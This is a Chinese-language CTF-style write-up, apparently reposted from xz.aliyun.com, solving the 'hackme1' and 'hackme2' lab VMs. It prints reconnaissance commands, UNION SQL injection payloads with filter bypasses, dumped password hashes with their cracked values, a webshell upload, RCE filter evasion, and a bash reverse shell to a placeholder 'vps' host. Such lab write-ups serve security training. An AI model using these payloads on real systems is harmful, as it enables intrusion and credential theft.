Hackme渗透靶场WriteUp
2023-11-28 20:37:7 Author: xz.aliyun.com(查看原文) 阅读量:12 收藏

hackme1

信息收集

扫描主机

先利用arp-scan扫描一下同一局域网下的主机

简略扫描(扫端口)

masscan扫一下端口

masscan -p 0-65535 --rate=100000 192.168.150.146

发现有一个80端口和22端口

详细扫描

nmap详细扫描一下

nmap -sV -p 80,22 -O -T4 192.168.150.146

目录扫描

  • 利用dirb进行目录扫描
dirb http://192.168.150.146 /usr/share/wordlists/dirb/big.txt

  • gobuster目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.150.146 -t 30

网站指纹识别

whatweb http://192.168.150.146

漏洞分析

进入目标ip,发现一进入是一个登录页面

直接测试万能密码登录,发现不存在admin用户,尝试随便注册一个admin账户,感觉这里没啥漏洞点

admin/123456

这里感觉有点像SQL注入,毕竟要查询一个书籍,相当于需要从数据库中进行查询,先手测一下,再sqlmap梭

确实是存在SQL注入的

而且还是字符型SQL注入,一眼POST传参,sqlmap试一下,抓包看一下传参

测试了一下,好像不可以,手动打吧

爆一下数据库

-1' union select database(),2,3#

之后爆这个库的表名

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#

爆字段名

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='webapphacking' and table_name='users'#

爆内容

-1' union select group_concat(user,0x5c,pasword),2,3 from webapphacking.users#

得到

user1\5d41402abc4b2a76b9719d911017c592
user2\6269c4f71a55b24bad0f0267d9be5508
user3\0f359740bd1cda994f8b55330c86d845
test\05a671c66aefea124cc08b76ea6d30bb
superadmin\2386acb2cf356944177746fc92523983
test1\05a671c66aefea124cc08b76ea6d30bb
admin\e10adc3949ba59abbe56e057f20f883e

得到username和passwd,passwd进行MD5解密一下

user1\hello
user2\commando
user3\p@ssw0rd
test\testtest
superadmin\Uncrackable
test1\testtest
admin\123456

现在我们知道了真正的admin账户的username和passwd,现在切换一下账户

看起来是要打文件上传的,尝试一下

直接传一个最简单的图片马即可绕过

蚁剑连一下,权限太低了,提权一下

一开始尝试suid提权,发现没有可以进行提权的命令

尝试自身getshell,发现一点权限没有

利用bash反弹shell也无果

我直接POST传参一个pythonshell也不可以,打完看网上其他WP貌似是可以的,奇怪了

这里我是用wget进行getshell的,就是先将pythonshell上传到靶机根目录,之后攻击机开启http服务,之后靶机python运行一下刚刚wget的脚本即可getshell

提升权限

先查看一下有哪些存在的用户

cat /etc/passwd | grep /bin/bash

之后翻一下目录,发现在home目录下有一个legacy的子目录,里面有一个touchmenot,file一下发现是一个二进制文件,执行一下得到最高权限

hackme2

信息收集

扫描主机

arp-scan扫一下同一局域网下的主机

简约扫一下端口

masscan扫描

masscan -p 0-65535 --rate=100000 192.168.150.146

详细扫描

nmap扫描

nmap -sV -p 80,22 -O -T4 192.168.150.146

目录扫描

  • 利用dirb扫描
dirb http://192.168.150.146 /usr/share/wordlists/dirb/big.txt
  • 利用gobuster
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.150.146 -t 30

漏洞分析

进入靶机发现和hackme1一样,一个登录框

随便注册一下

123/123456

之后进入,尝试一下SQL注入,发现这次查询的语句和hackme1不一样了

应该是利用了通配符%

SQL语句是

$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"

尝试一下有没有SQL注入

之后开始注入

尝试正常的union联合注入

OSI%' union select database(),2,3 like '1

发现没有回显,先尝试是不是空格被过滤了,之后考虑关键词绕过

OSI%'/**/union/**/select/**/database(),2,3/**/like/**/'1

再看表名

OSI%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp

再看字段名

OSI%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_schema='webapphacking'/**/and/**/table_name/**/like/**/'use

在看内容

OSI%'/**/union/**/select/**/group_concat(user,0x5c,pasword),2,3/**/from/**/users/**/where/**/'1'/**/like/**/'1

得到user/passwd

user1\5d41402abc4b2a76b9719d911017c592,
user2\6269c4f71a55b24bad0f0267d9be5508,
user3\0f359740bd1cda994f8b55330c86d845,
test\05a671c66aefea124cc08b76ea6d30bb,
superadmin\2386acb2cf356944177746fc92523983,
test1\05a671c66aefea124cc08b76ea6d30bb,
123\e10adc3949ba59abbe56e057f20f883e

进行MD5解密一下

superadmin/Uncrackable

重新登录一下

成功进入后台

这里和1是有区别的,文件上传之后uploads目录没东西,所以去打别的洞

发现还有2个输入框,看一下是否能打SSTI

好像是不可以的,也可以尝试一下,毕竟都没用python框架

之后试一下直接打RCE

发现可以直接解析,那就知道要打RCE了

尝试看一下根目录

空格被过滤了,绕过一下

system('ls$IFS$9/');

尝试利用RCE写一个shell

这里经过测试正常的打webshell好像不太行,fuzz一下,看看过滤了哪些东西

貌似

#''- &\*()|

都被过滤了,尝试直接hex2bin/base64_decode编码绕一下,弹个shell先

bash -c "bash -i >& /dev/tcp/vps/2333 0>&1"
system(hex2bin(16进制))

之后和hackme1一样找到home/legacy下的touchmenot即可

至此,hackme系列靶机全部结束,接下来我会继续其他系列靶机的WriteUp更新


文章来源: https://xz.aliyun.com/t/13129
如有侵权请联系:admin#unsafe.sh